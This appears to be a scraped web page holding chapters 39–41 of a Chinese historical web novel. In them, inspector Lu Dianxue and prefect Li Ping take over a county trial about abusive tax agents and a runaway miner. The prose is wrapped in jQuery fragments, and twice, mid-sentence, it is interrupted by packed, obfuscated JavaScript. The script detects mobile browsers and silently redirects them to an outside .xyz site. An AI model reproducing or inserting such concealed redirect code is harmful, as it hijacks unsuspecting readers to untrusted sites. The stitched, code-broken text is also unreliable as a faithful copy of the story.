$(''#content'').append(''
色顷刻间就变了。
胥吏本还有些纳闷儿,直至卢点雪恰逢其时地开了口:
“阁下可是苏州知府李大人?在下卢点雪,幸会。”
这下确认无误了,李知府回过神来,大惊失色,急急呵斥那胥吏撒开手,随即向卢点雪行礼:
“恭迎卢巡按莅临苏州府。是本官治下不严,让这无知小吏冒犯了您,在下先行赔罪。你,还不速速退下——!”
李知府又是鞠躬又是道歉,同时也没忘了把人狠狠地训斥了一顿。
那名胥吏瞠目结舌,没想到眼前这名其貌不扬的女子正是新上任的应天巡按,自知理亏,点头哈腰地赔礼过后就灰溜溜地跑了。
自始自终,卢点雪都是一副波澜不惊的样子,也未曾与那无礼的胥吏过多计较,只淡淡地点了点头,掸掸身上的灰,恍若无事发生一般。
她这反应,倒是弄得李知府更心怀愧疚了。话不多说,他就要邀请卢点雪去赴晚宴,为她接风洗尘。
“这又不急的,李知府,本官有一事想请教您,不知可否方便?”
“方便方便,卢巡按请讲,在下定知无不言,言无不尽!”
李知府自然是满口答应,可不料,卢点雪下一句便是单刀直入地问他隔壁吴县县衙里发生了何事。
“呃,这个嘛,卢巡按不妨待入座用席后再详谈?”
李知府一时有些语塞,本想打个马虎眼儿蒙混过关。
可他不曾想过,眼前这位巡按大人却不是个好糊弄的。
“哦,为何此时不能说,偏要等酒醉微醺后再说?是不便说还是不能说?李知府莫要担忧,别的几位知县不在场,可本官在这,且就是为了考察府州县官而来的,您有话大可直言不避。”
卢点雪当然是不吃他这套,脚下一停,眼神颇为玩味地盯着李知府。
不好,被看出来了。
霎时,李知府的额上流下一滴冷汗。
“哈哈哈,卢巡按这说的是什么话?吴县的知县正在隔壁县衙审理一桩积案,故而暂且来不了。而另外几县的知县在接到您的牌票后,也就早早地递了拜帖来,想必不消片刻便会赶到。”
“诺,拜帖就在这,您未到之前,我便自作主张先收拢了起来,还请您过目。”
李知府心虚地擦了擦头上的冷汗,命人赶紧将拜帖送来。
“嗯,是挺巧的,七个知县都说自己公务繁巨,未能亲迎惶恐惶恐,恳请恕罪,说法挺一致的。”
卢点雪只扫了一眼各个拜帖,便将其合起,随手交给书吏,似笑非笑地与李知府对视着,
“如此看来,倒是本官来得不巧了。”
“怎会怎会!卢卢卢——卢巡按莫要往心里去。”
卢点雪这话一出口,李知府差点儿被吓得丢了魂儿,话也说不利索。
“公务繁忙,戌时审案。李知府,若是我若是没记错,大琝律上说的散衙时辰是酉时吧?本官到此处时早已过了酉时,还不曾听过有知县辛劳至此,到现在还升着晚堂呢。看来这是商量好了,他们有意避着我,想给个下马威呢。”
卢点雪长叹一口气,一时有些感慨,
“哎,也是连累你李知府了,难为你辛苦为他们遮掩,结果人家却丝毫不领情。我初来乍到,又是个女子,他们合起伙来排挤我,在下尚能理解。可阁下来这也有小半年了吧,又是季尚书的门生,怎的到现在仍被众知县拒之于门外呢?”
39. 第 39 章
“诶诶卢巡按,话可不能这么说。”
李知府手忙脚乱的,本还想再做些解释。
然而迎着卢点雪颇为怜悯的目光,他自己都有些无地自容,干脆放弃挣扎,自暴自弃地全坦白了。
李平,也就是李知府,是为监察御史外放为官的。
最初他是在翰林院供职。
季无忧季尚书器重他的才学,就将他收作门生,一心一意教导他,还让小阁老萧藩亲自指导他写青词。
但是他着实没有什么写青词的天赋,每次李平胆战心惊地写完,还是会把小阁老气得够呛。
萧藩火冒三丈,直呼孺子不可教也,不知道季无忧看上他什么。
而后拂袖而去,徒留师徒俩面面相觑。
季无忧没了辙儿,又有点嫌弃李平笨手笨脚。既不如下属岳侍郎做事麻利,人还没啥心眼子。
思来想去,干脆将他拨去都察院,做个只需直言进谏的御史罢了。
然而他御史还没当几天,又因去年二月那次斋礁,他为齐涵虚求情而触怒先皇。
十几棍廷杖过后,李平便被发配去贵州,准备接替黎平府的知府。
从京中的七品御史,再到四品的知府,明面上是连升了三级,可实则却是明升暗贬。
虽说他在京中官做得也不大,但好歹离阁老和皇上近,还有被提拔的可能。可一旦被外放为官,还是贵州那般的偏僻之地,那几乎是再无重回中枢的可能。
故而圣旨一下,李平可谓是彻底没了盼头。
不过监察百官、纠正刑狱,本就是他的分内职责,他并不后悔。
只是他有些惋惜,自己还未来得及孝顺恩师,仕途怕是就止步于此了。
待养好了身上的伤,李平就收拾收拾包袱,与老师季无忧辞别,心灰意冷地离开京城这个伤心之地。
结果他赶路赶到一半,先皇驾崩,老师又忽然传了份急递,说是内阁让他改任去苏州府任知府,并附上了相关文书。
于是乎,李平就这般稀里糊涂地被老师从清贫的黎平府,给一下子捞去了甚为富庶的苏州府。
苏州府其下的各个知县自然是艳羡无比。
并不是所有人都像李知府这般好运,还有位声名显赫地位崇高的老师作靠山。
同时,他们也对李平颇为嫉妒。明面上对着新任的知府是客客气气,暗地里却是抱成一团,合起伙来排挤他。
可怜李平至今都没瞧出各个知县的肚皮底下究竟藏着什么心思。
他依旧以为是自己办事不力的缘故,遂愈加勤勉认真,生怕届时在吏部和都察院的外察中考评不佳,被那心狠手辣的魏尚书给又打回到黎平府去。
若真到那时候,他也再无颜去面对尚书大人了。
是以李平在苏州府勤勤恳恳,他老师在京中摸不着头脑。
大半年过去了,礼部尚书季无忧几乎没收到过几回学生寄来的书信。
不过苏州府在李平的治理下也没出过什么大乱子,京中新皇即位,他也忙得焦头烂额,逐渐忘了要问候学生近况。
若不是忽有一日,萧藩顺嘴一提,说就凭李平那温吞的性子,不得被那七个沆瀣一气的知县们给吃得连骨头渣子都不剩,季无忧方才恍然大悟。
正逢卢点雪要去巡按江南,他也不得不厚着脸皮,拜托卢点雪去吴县之时,顺便替他敲打敲打那不成器的弟子。
卢点雪只略加思索,便毫不犹豫地答应了。
她本就打算先行去苏州吴县,知府李平肯定是得见的。再者有了季尚书的打点,她做事也能方便许多。
横竖只是举手之劳而已,她兴许还能得到一个盟友,何乐而不为?
只是当她与李平见了面后她方才发现,季尚书说话还是含蓄了。
她也是头一次觉得,小阁老说话也挺有道理的,话糙理不糙。
彼时季无忧一脸愧色,说李平秉性纯良、质朴老实,还望卢巡按多提携提携他。
小阁老倒是很不屑一顾,开口便直言卢巡按大可便宜行事,大事奏裁小事立断,别被李平拖了后腿。
若是真有什么急事儿,她这个巡按御史的头衔可比他那个破知府好使。
卢点雪自己也觉得,先皇没让李平在中枢待着是挺好的,嗯。
愣头愣脑的,不知道是不是在翰林院里读书读傻了。
她没听云降心的提议直接去国子监做监生,是个正确的决定。
“卢巡按,你可别这么看着我啊!我这个知府的职权也是有限的。隔壁吴县知县偏要这个时候升堂,本官也无权制止,毕竟我连那吴县衙门都去不了,这能怎么办?”
李平被卢点雪一直盯着,浑身上下都有些不自在,目光不断游移。
“去不了县衙,那您不会去县里转转吗?您可是一府的知府,苏州府这么大,难道还容不下您?”
卢点雪简直要被气笑了。
“可是,本官听不懂乡民们讲话啊!这吴侬软语听着好听是好听,可我是一个字也听不懂……何况各县的方言还全然不同。”
说这话的时候,李平的语气还颇为委屈。
卢点雪:“……哈?”
卢点雪:“所以敢问阁下,来苏州府这么久了,可有什么收获?”
李平有些不确定:“勉强听懂了吴县的方言,这算不算……?”
卢点雪无奈扶额:“……好吧,朝廷文书已下,季尚书又给你传了信,阁下总该知道我是要来干什么的吧?”
李平点头如捣蒜:“知道知道,老师说这次卢巡按来不仅是为了督促本地富商缴纳商税,还有就是要制止矿监税使为害百姓。我方才问巡按路上是不是出了什么意外,就是怕那些胆大妄为的税使拦路设卡,向您征收各种名目的过路费。”
闻言卢点雪有些意外:“原来我之前路上碰见的那些人是他们。可怪哉,他们只看了我一眼便扭头就走,这是何故?莫不是早已知道我是新任的巡按?”
李平也有些奇怪,打量了一下卢点雪,顿时心下了然:
“哦,兴许是见卢巡按风尘仆仆,衣衫破旧,就觉得是个赶路的贫民,没什么油水可捞吧。”
卢点雪:“……好吧。”
然而,李平似乎尚未发觉这有些尴尬的气氛,嘿嘿一笑,还为卢点雪好心开解道:
“没关系的卢巡按,本府也经常被他们错认。有一回本官被税使给逮住了,有人在看清我容貌后的第一眼就嫌弃大呼,说怎么又是这没钱的晦气玩意儿,让我赶紧走人!”
卢点雪:“……李知府真是好心态。”
李平叹气:“哎,没办法,这可都是皇上亲派的,谁敢对他们不敬?”
听到这话的时候,卢点雪的神情一凛,正色道:
“既然税使如此嚣张,知府与各县知县都身为牧守一方的官员,就没有人为百姓上疏?”
“有啊,都发声了!”李平不禁义愤填膺起来,“就在二月朔望,御前财政会议结束后的一个月,本府率先领衔上奏,恳请皇上取消矿税,召回各地矿监税使。结果厂公却说此乃国策,任何人不得加以阻拦!”
“二月末,山西巡抚白希绣上疏朝廷,揭发税使肆意提高山西等地的税收额度;三月上旬,山东巡抚黄克缵向皇上上疏,声讨税使向当地百姓摊派额外的税收项目。可皇上却充耳不闻,任凭赵除佞将奏折留中不发!”
“真是岂有此理!首辅和阁老们就全然不知吗?”
“在卢巡按来前,我也向老师写了信言明情况。可老师却称内阁另有打算,还说魏尚书有一妙计,不知能否行得通,让我暂且静观其变,先与司礼监的矿监和税使们耗着再说。”
“说来卢巡按,你也是刚从朝廷下来的,又是皇上钦点的应天巡按,还和魏尚书是同乡。且赵除佞要治你于死罪时,他可是亲口出言维护你了!那你可知,魏尚书在朝中,打的究竟是什么算盘?”
似是忽然想起了什么,李平的眼睛霎时变得亮晶晶的,又急忙接道,
“哦对卢巡按,先前你在琼林宴上的论辩当真是精彩绝伦!往后有空可否能与我切磋切磋文艺?前段时日小阁老还特意从京城里寄了一份过来,让我好生学着里面的文辞,提醒我日后可千万别丢了老师的脸面。”
面对李平如此热情的追捧,卢点雪稍有不适。
李平好歹也是一府知府。这模样,为何总令她想起幼时村门口,那条逢人就摇尾巴的大黄狗?
意识到自己想偏了,卢点雪赶紧摇摇头,摒除心中杂念,以一种冷静克制的语气说道:
“先不谈这些。既然李知府知道我的事迹,想必也知道,自从琼林宴那晚我就被关进诏狱,直至奉天子之命任职应天巡按后才被放了出来。此间朝廷之上到底发生了何事,我一概不知,何况我出狱后也未曾与魏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505117|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阁老打过交道,何来知晓他谋划这一说呢?”
“好吧,怎地连你也不知道,本府原先还寄希望于你,同我一道同仇敌忾呢。”
李平失望地撇了撇嘴,看起来颇为沮丧。
“这是自然,”卢点雪郑重地点了点头,“不知可否劳得李知府为我解个惑。”
“卢巡按请讲。”
“方才听李知府所言税使拦路设卡,似乎是只劫富人的过路费,可有此事?”
“确实,这些人精着呢。知道我们苏州府是江南丝织中心,巨室富绅云集于此。除了富商大贾,最多的便是织工。”
“若是逼急了这些织工,他们一旦罢工或者逃窜,织不完定额的布,直接导致苏州织造衙门向朝廷交不了差,司礼监定饶不了这些税使。所以他们这些人连地方的巨贾乡绅都敢为难,偏偏就不为难看起来就落魄的织工们。”
“原来如此,”卢点雪恍然大悟,“那我与李知府还真是托了这些织工们之福才免遭破财之祸。”
“我还有一事想请教阁下。隔壁吴县县衙这个时辰升堂,你可知议的是何事?”
“这我不甚清楚,”李平皱了皱眉头,“这些县令总喜欢瞒着本府行事,天天说是小事一桩,不必惊动知府大人亲自出面。”
“那么李知府你就不好奇一下吗?”
卢点雪试探性地发了问,没想到还真把李平的话给诈了出来。
“当然好奇了!今晚准备迎接卢巡之按时我还跟路人聊了一会儿,他倒是知道一些,好像说是和矿场的矿工有关。”
李平傻乎乎地上了套,丝毫不知自己已上了卢点雪的圈套。
“矿工,税使。哎呀,李知府!您不觉得,这二者之间似乎有什么联系吗?”
卢点雪的语气和神情故意夸张了些,几乎是在明示李平。
“对,很有关系!有矿工,那肯定会有税使出面。不过这与我们又有何干?这案子不归我们审啊。”
李平初是十分赞同,随后又像是脑子不好使了一般,抬头困惑道。
“哎呀,李知府,你与我都曾差点被税使强缴过路费,这还没关系?”
卢点雪简直是恨铁不成钢。
一瞬间,她算是理解小阁老的心情了。
“噢噢噢是的!”
李平被卢点雪这么点拨了一下,很是激动道。
“那我们同为受害者,是不是可以去吴县县衙里去见见那几位税使,顺便旁听旁听呢?可是大琝律规定,本府不能轻易去隔壁的县署衙门——”
“大琝律可没规定女子不能做官,也没规定受害者不可旁听审案啊。李知府,你说是不是?”
“?”
“好像也是哦。”
“那就不得了。吴县知县不让你去审案,可我们可以自己上门去旁听啊!”
卢点雪循循善诱着,眼见就快成功了。
“但,但是——”
一波三折,李知府又迟疑,又犹豫了。
这下卢点雪是彻底没了耐心。
“李知府——!”
她特意提高了音量,把李平吓了一跳。
“我,我,我在!”
“嗯,先前季尚书可有曾对你说过,你是他教过的最差的,最胆小的学生?”
“老师从未对我这么说过,他说傻人有傻福,让我自求多福。可是小阁老却是天天这么说我。”
听了卢点雪这话,李平犹如霜打的茄子一般垂头丧气的。
“那你想不想像小阁老那般威风?”
“不瞒您说,我觉得很有难度,卢巡按。”
李平回得很是诚恳,简直就差把“我不可以”满满的写在脸上。
面对如此境况,卢点雪彻底没辙了。
“好吧,过会儿你跟我去隔壁县衙时,只需装出气势来便是,吴县知县定不敢把你怎么样的。你就想想每日上朝时小阁老是怎么做的,待会儿你就这么干。”
“真,真的?”李平仍有些不相信,“若是真让我模仿小阁老的一言一行,邓知县说我咆哮公堂怎么办?”
卢点雪径直反问:“你当御史的时候,可有同僚参过小阁老咆哮朝廷?”
“没有,从来没有。”
这一次,李平答得斩钉截铁。
“那不就得了。”
“行,行吧,那本府姑且就信你一次吧。只这一次!”
40. 第 40 章
戌时二刻,吴县县衙。
此时负责主审的邓礼邓知县早已困得是哈欠连连,却也得强撑着精神,继续审案。
没办法,那位从京中来的卢巡按来得实在是太早了,比预估还早了几日,直打了他个措手不及。
他原本还想把手中这几桩令人头疼的案子再拖一拖,看看上面是何反应再说。
何况,他也不想去亲自去迎接一个刚从诏狱出来,仍是戴罪之身的女子来巡按苏州。
她卢点雪连吏部的铨选都没过,直接被皇上钦命为应天巡按,简直就跟那个只靠着季尚书,就能从黎平一下子调到苏州做知府的李平同样可恶!
可惜人算不如天算,这卢巡按今日还是来了。
为了避免被她捉到把柄,他也不得不把手中的积案给清一清,干脆就今晚一同审了,这样也可不必再去见那卢巡按了。
如此一来,纵算她卢点雪心有不满,也找不出理由来指摘他。
一想到那蠢笨的李知府即将一人面对巡按的慌张样,他就止不住地想发笑,人也精神了不少。
他环视四周,见底下站着的矿工、税使和织工都有些倦怠,唯有那富商机户林凡安仍是面色如常。
邓知县心中顿生不满,拿起惊堂木拍了拍桌子:
“都打起精神来,给本官清醒清醒!你们早些承认,不是都能回去睡觉了吗?”
然而他还没敲几下,衙门门口便传来了一阵阵喧闹声,盖过了惊堂木的声音。
“何人在此喧哗?这里可是县署衙门,岂容得下你们在此撒野!”
邓知县一声怒喝,正欲命胥吏将人带上堂来,不想门口却是忽然闯进了一队仪仗队,有一陌生女子的声音从外传来:
“邓知县勿忧,本官是应天巡按,奉天子之命巡按苏州。”
话音刚落,只见身穿七品官服的卢点雪缓缓踱步而来。
她气定神闲,从容不迫,仿佛擅闯县衙的人不是她,而是旁人。
“哦?看来是本官来得不是时候,惊扰了正在审案的邓知县。”
卢点雪故作惊讶状,随即语气一转,
“可是本官记得,散衙的时辰是在酉时,阁下何故要在这个时候升堂?”
邓知县一见这仗势,还有巡按身边站着的李知府,心中就大呼不妙。
不消多说,定是这李知府没拦得住人,显然还把他给供了出去。
好吧,他本就不该寄希望于此人身上。
“当然是为了整肃本县县风,未想一不留神儿就到了这个时辰,卢巡按勿怪。”
他虽不喜这俩人,但面子功夫还是得做一做的。
“哦?竟是这样,还真是辛苦邓知县了。”
这点小技俩,卢点雪也懒得去拆穿。
她就这么意味深长地说了一句,看破不说破,姑且算是含糊过去。
卢点雪的目光下意识地扫视了一番堂内,却意外地发现了一个意外之人。
林凡安,他怎会在苏州?
而且还是在公堂之上?
恰巧,林凡安,也就是易容过的云梵,他的视线也在这个时候同她对上了,其中亦不乏惊讶。
不过此时此地不是相认的好时机。
故而二人也并未将目光过多停留在对方身上,就如同陌生之人初次见面,蜻蜓点水般只稍作停留便很快地移开了。
反而是卢点雪身边的李平面色有些古怪。
他困惑地望了望林凡安,又望了望堂上的邓知县,犹豫再三,还是决定将疑惑一吐为快:
“这不是金陵那位茶商,林凡安林老板吗?好端端的怎跑到我苏州府来了?莫不是来做生意的时候犯了事?”
他这一开口,邓知县的注意力自然而然地就从卢点雪身上转移到了李平的身上。
“咦,这不是李知府吗?您怎倒也同卢巡按一道来我这小小的县衙里?这案子是在我吴县县内提告的,并未涉及到府一级。”
不待林凡安回答,邓知县倒是抢先了一步,趁机向李平发问。
言下之意嘛,自然就是他李平到这吴县县衙里来,是不合规矩的,识趣点就赶紧走。
但是事情却并未同他想象得一般,反倒是横生变故。
这李知府刹那间就好似转了性子一般,怒气冲冲地走到他面前,上来就是一顿骂:
“那本府倒是想问问看了,这各县的路口是归你们各县管的吧?可为何就在今日,卢巡按与本府相继遭到税使拦路,向我们讨要过路费?维护治安不是你等身为知县的职责吗,为何本府与卢巡按却瞧不见路上有任何一个衙役出现并加以阻拦?你说,本府该不该治你一个玩忽职守之罪!”
语毕,李平正好瞥见立在一旁的税使,气打不上一出来,劈头盖脸又是一顿斥责:
“如今你们税使的胆子真是愈来愈大了啊,连官爷都敢打劫了?!是不是觉得司礼监里有人照着你们,就敢为所欲为?告诉你,并非只有你背后有人!”
李平这一发飙,直接把邓知县和那税使给震懵了。
自邓礼任知县以来,印象中李平都是个好脾气的,甚至可以称得上是有些懦弱,与人说话素来都是细声细气的,完全不曾想过他也会有大发雷霆的这幅模样。
不过李平这一骂,霎时让邓礼霎时清醒了过来。
李平方才说了什么?税使竟敢沿路打劫到知府和巡按头上了?!
这真是不得了了。
邓知县的背后瞬间就被吓出一层冷汗。
平时他忌惮税使背后站着的赵除佞,也就睁一只眼闭一只眼,随他们强取些富商的过路费,自己也能稍微分得些。
可现如今这群人愈发嚣张,连官老爷都不放在眼里了。
况且这卢巡按本就是来地方纠察错弊的,结果人方至吴县,就先被税使打劫了。
凭这点,她就可以写道折子上达朝廷,让内阁罢了他的官!
此时,邓知县早已对这群不长眼的税使恼恨至极。
劫谁不好,偏生劫到这俩崇正党人身上!
这要是被京中的阁老知道,这可如何是好?
事已至此,他只能当机立断,将矛头对准堂下的税使:
“你们税使是怎么做事的?竟敢冒犯知府和巡按,该当何罪?!”
“什么?又不是小人今日去拦的李知府与卢巡按,邓知县怎能就这么轻易治罪于我?!”
底下的那名税使先是一愣,随即怒不可揭,竟是反问起邓知县:
“小人来此,本是要来抓这从矿场逃窜出来的矿工,若不是该织工与商人有意包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505118|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庇,小的早就回去复命了!邓知县,您这话可是和适才李知府未到前说的大不一样啊。我们税使又不归你们吴县管,小的似乎也没必要听您的安排吧?”
“再者小人听闻,负责督收矿税的沈指挥不日将到达苏州。若是误了差事,那可如何是好?”
“哦?本府倒是听闻,因巡盐御史何裘在两淮推行新政,督促盐课有功,盐引壅积得以舒缓,巡盐的银子每日如水一般源源不断,从扬州送往京城的运钱船更是络绎不绝。圣上龙颜大悦,特准许各地可酌情减少矿税,不知你可有听过?”
只听李知府冷笑一声,凌厉的目光直射税使而去。
不待邓知县出声,李平率先出言怒斥道:
“是,你是不归吴县管,可吴县及苏州府的百姓是归我们管!沿路打劫都打到本府头上来了,何谈当地百姓?!”
在众目睽睽下,他径直走向了主位,毫不客气地坐在了邓知县原来的位置,右手握起惊堂木,直指那胆敢以下犯上的税使:
“在此公堂之上,你可敢亲口承认,其他税使拦路设卡、强抢过路费之事,你是一点也不知情?本府与卢巡按都曾亲眼目睹并经历过,既然你说邓知县管不到你,那本府和卢巡按总该管得了你吧?”
惊堂木重重落下,端的是一派不容置疑的威严与凛然。
“兹事体大,此案就由本府来接手了。邓知县,你没有意见吧?”
李平刻意瞥了一眼邓知县。
“当然,当然不会!大人请上座!下官在一侧旁听便是。”
李知府话都说到这个份上了,他一介小小的知县哪敢不答应。
虽说是个询问的语气,但邓礼也不会真蠢到会认为这是李知府在跟他打商量。
邓知县讪讪一笑,命人再抬一把椅子,正准备坐到李平身旁后,旁边却又不合时宜地响起了另一人的声音:
“邓知县,请问一下,本官有座吗?”
“有有有,这便是下官为您准备的,您坐您坐。”
一听这声音,邓礼的头皮就忍不住开始发麻。
他丝毫不敢加以怠慢,又吩咐衙役再搬一把,坐在了卢点雪的旁边。
一切变故,皆从这位卢巡按进来开始。
从步入公堂到现在以来,除了几句虚假的客套以外,她几乎没怎么说过话。
反倒是素来以温和著称的李知府一反常态,一直暴怒地喋喋不休。
事出反常必有妖,这卢巡按一声不吭的,要么在审时度势,要么在就是在谋划着什么。
其心思之深沉,不可琢磨。
不过这样也好,既然知府和巡按都有心想查,他交由二位便是。
何况知府大人适才更是直言少缴矿税之事,他邓礼虽然并未收到过任何消息,但这位李知府可是季尚书的门生,季尚书又是首辅的门生。
李平敢这么说,定是得了内阁的消息。
如此审时度势一番,邓礼也识趣地决定不再加以阻拦。
横竖现在已是李知府主审,他就是个旁听的,若司礼监真要问起罪,也追究不到他身上。
眼下,和这二位统一阵营,同仇敌忾才是上策。
“好,此提告正式交由李知府来审理。林凡安,你就再跟李知府和卢巡按复述一遍吧。”
41. 第 41 章
“是,有劳诸位老爷们了。”
林凡安朝着前方行了个礼,谦卑地答道:
“草民林凡安是扬州泰兴县人。因在金陵有几处产业,故而久居南都,偶尔往来于苏松与浙江一带。”
“前些年草民久闻湖丝盛名,便伙同好友共同出资置办了几间机房与数百台织机,也雇了不少机工以事生产。”
“几间机房,数百台织机,你这税可得缴不少啊。”
李知府闻言大吃一惊,不自觉地倒吸一口凉气。
不光是李平,就连卢点雪也是忍不住咋舌。
她知道林凡安有钱,但也从未想过竟是这么富裕。
方才听他口气,还以为他是洒洒水做笔小生意,未料一出手就如此慷慨,直接买了几百台织机。
然而林凡安却跟没看到李知府的反应一般,低垂下头,整个一副柔弱书生的模样:
“回李知府,草民虽不过一介不入流的商贾,也并非本地人士。但官府该缴的税草民也依着规矩,甫一到吴地就一个不落地全缴了。此些衙门里俱有记录,老爷们可随时前往县衙架阁库翻阅。”
“确实,”邓礼点了点头,“本官记得你,衙役们向本县禀告过,说是有一外地来的富商很是上道,次次交税都很爽快,想必就是你了。”
“回大人,正是在下。也正因如此,草民才不知自己为何会被税监找上门来。”
“今年吴地发了水灾,损失惨重,织工们无丝可织亦无钱可蓄,且织造衙门的征税又步步紧逼。草民见这些织工们也是可怜,便想法设法弄了些生丝来让他们织。”
“奈何昨日忽有一税使闯入机房,上来就说草民私自藏匿逃窜矿工,还让此人在这里隐姓埋名当织工,连带着也要把草民一并带走拷问。哎,草民真是冤枉啊,只能向衙门里提告,望父母官们能够为草民主持公道!”
“你倒是个菩萨心肠。”
李平注视着林凡安,若有所思地说道,随即将目光转向税使,
“你去抓从矿场逃窜的矿工也就罢了,为何要将林凡安也一并带走?万一他不知情呢?你也不问问清楚,就这么堂而皇之随意地抓人了?”
“呵!此人所言简直是笑话,昨日我去时这逃窜的矿工就恰好在你机房之内纺纱,人证物证皆在,你还有什么好辩解的?”
面对李知府的追问,税使丝毫不惧,仍还梗着脖子,不觉得自己有半分错。
“回老爷的话,此事确实与林老板无关,是草民将此人带到林老板面前,求他收下的。”
此时,那名一直默不作声的织工葛成突然挺身而出,“砰砰砰”地磕起响头,为林凡安维护道:
“这位逃窜的矿工,正是草民的邻居张二。因他年事已高,忍受不了矿场的苛刻条件,这才拼死从矿监的鞭子下逃了出来,躲在草民家中避难。”
“草民怜他丧妻无子,又无积蓄傍身,又怕矿监派人来搜捕他,这才隐瞒下了一切,带着他来到了林老板的机房内,恳请林老板将他留下,让他同草民一起在这纺织。”
“草民在税使到来之时就已说过了,此事系草民一人所为,林老板是不知情的。可税使大人坚决不听,还执意要将林老板也一同拿下。知府老爷,还请您不要为难林老板呐——!”
“肃静,肃静,”李平不满地用惊堂木敲了桌子,示意所有人都住嘴,“如此说来,张二是个畸零户?”
“是这般。”
“那他为何还要去服徭役?你这个税使是怎么当的,连这都不知道?!”
“什么?他是畸零户?!”
闻言,那名税使大吃一惊,嚣张的气焰霎时少了一大半,
“可是先前上面差我们去翻架阁库黄册找人时,那黄册上记载的可不是这样!他分明还有一个壮年的儿子!”
“哎,草民的儿子早在前三年就患病而亡了啊!草民也不知里甲上呈的黄册为何会出现这样的错误!”
名为张二的矿工早已是泪流满面,佝偻的身子愈发得沉重。
“哦?竟还有此事?”
就在这时,卢点雪忽地插了一句嘴。
她的嘴角噙着一抹笑意,只是在邓礼看来,这笑让他后脊凉飕飕的,
“您说有不有趣邓知县。皇上刚让本官巡按应天,督察各地黄册的攒造情况,今日不就来了一例?还真是赶巧了。”
“呵呵呵,这定是那些里长和甲长们偷懒,竟犯下了如此之大的错误!卢巡按放心,本官此次定将极力配合,任凭您吊刷文卷!”
听到卢点雪如此说道,邓礼可谓是被吓得魂不附体。
这言下之意他怎可能听不出来?这不明摆着被她逮着错处了?
但是邓礼又碍于堂内还有旁人在场,不能失了知县的面子,是以只能尴尬地圆场,将锅全部甩给负责相关的里长和甲长。
此时此刻,他已再无轻视这位巡按大人的心思。
话已至此,他还敢不服软吗?
金陵后湖黄册库一事在朝中闹得沸沸扬扬,皇上更是雷霆震怒,特命应天巡按南下详查,他又岂能不知?
那名户科给事中的下场他是知道的,这无异于在他心中敲响了警钟。
然而卢点雪的反应并不如他所料那般会深究下去,反倒是不怎么在意似的。
“不急,”她轻轻地摇了摇头,“本官还会在吴县待上一阵时日,黄册之事可以慢慢来查,我有的是时间,当务之急还是眼前这桩。”
说完,也不管邓知县反应如何,她的目光复又落回道税使和矿工张二的身上,
“本官倒是有个问题想问问你们。张二,你是在哪边的矿场服的役?”
“回大人,小人是在城西那边的矿场。”
“城西?城西只有一个矿场,那就是季家的。”
像是想要弥补自己的过错一般,这次邓礼急急地开了口,替卢点雪解惑。
只是话甫一出口,他就后悔了。
只见他猛地抬起头,不可置信地望向坐在主位的李平。
完了,这下是彻底完了!
这可真是大水充了龙王庙了,他怎么忘了这茬儿!该死,他怎么说话就不过脑子呢!
然而李平却仿佛毫无察觉一般,歪着脑袋沉思了一番,眉头紧紧蹙了起来,
“不对啊,我老师是无锡人,他的田和地肯定都在无锡,干嘛跑来苏州买?”
李知府还在堂上抓耳挠腮地想不出所以然来,底下,林凡安却是不动声色地将一出出好戏尽收眼底。
他嘴角无声地勾了一下,随后轻轻地出了声:
“知府老爷,这些草民知道,草民曾与矿主人打过交道。这城西的矿场呢是归季尚书的亲戚所有,并非季尚书那支的,也算是沾点儿亲带点故。”
“嗯?既然这矿场是有主的,张二又不是季家家仆,想来就是季家雇他来采矿的。二者是雇佣关系,讲究个你情我愿钱财往来,为何会有服徭役一说?”
还是卢点雪敏锐地察觉到了问题所在,单刀直入地问道。
她话刚问出口,税使顿时脸色大变。
卢点雪也不急着追问,就这么似笑非笑地坐在堂上,看着那税使变幻莫测的神情。
“怎么,哑巴了?赶紧回话!”
李平回过神来,想起卢点雪先前嘱托过他要互相配合的话,连忙调整好了表情,摆出一股威严的样子,警示性地敲了敲惊堂木。
“难不成是你们矿监税税假借圣上旨意,私自侵占个人产业,然后再以职务之便强征百姓来开采?真是好大的胆子!”
这一顶大帽子扣下来,那税使明显是坐不住了。
他几次下意识地想辩解些什么,可又欲言又止,面上的慌乱溢于言表。
偏偏旁边还有个看热闹不嫌事大的林凡安,在一旁笑眯眯地补刀:
“卢老爷有所不知,这几日矿场是不动工的,说是想把矿场另卖他人,所以也遣散了不少矿工和仆役。”
“至于这要缴的矿税嘛,草民记得季家是早已缴完了,所以才让那些雇来的矿工们提早回去。那么敢问这位税使,您为何又这么急吼吼地要来抓人呢?”
“你,大胆——!区区一个卑贱的商人,也敢这么跟我讲话?”
那名税使听后,恼羞成怒,气急之下,猛地掏出身侧的鞭子,就往林凡安身上抽去。
林凡安却恍若被吓傻了一般,仍站在原地一动不动。
“唰——”地一声,鞭子以迅雷不及掩耳之势落了下来。
税使的眼睛顿时瞪得如铜铃一般硕大。
林凡安本已做好了被打的准备。
直至他听到耳畔一声沉闷的哼唧声,还有邓知县尖锐如沸水爆鸣的叫声后,他才后知后觉地发现,这顿鞭子,并没有落在他的身上。
反倒是落在了眼疾手快,早就冲出来挡在他身前的李平身上。
“够了!”
卢点雪的身子本也已探出了大半,但终究没有李平那般迅速,只能眼睁睁地望着那条鞭子裹挟着猛烈的风声,疾疾落下。
面对这这突如其来的意外,她眉头紧皱,眯了眯眼,眼角余光正好瞥过
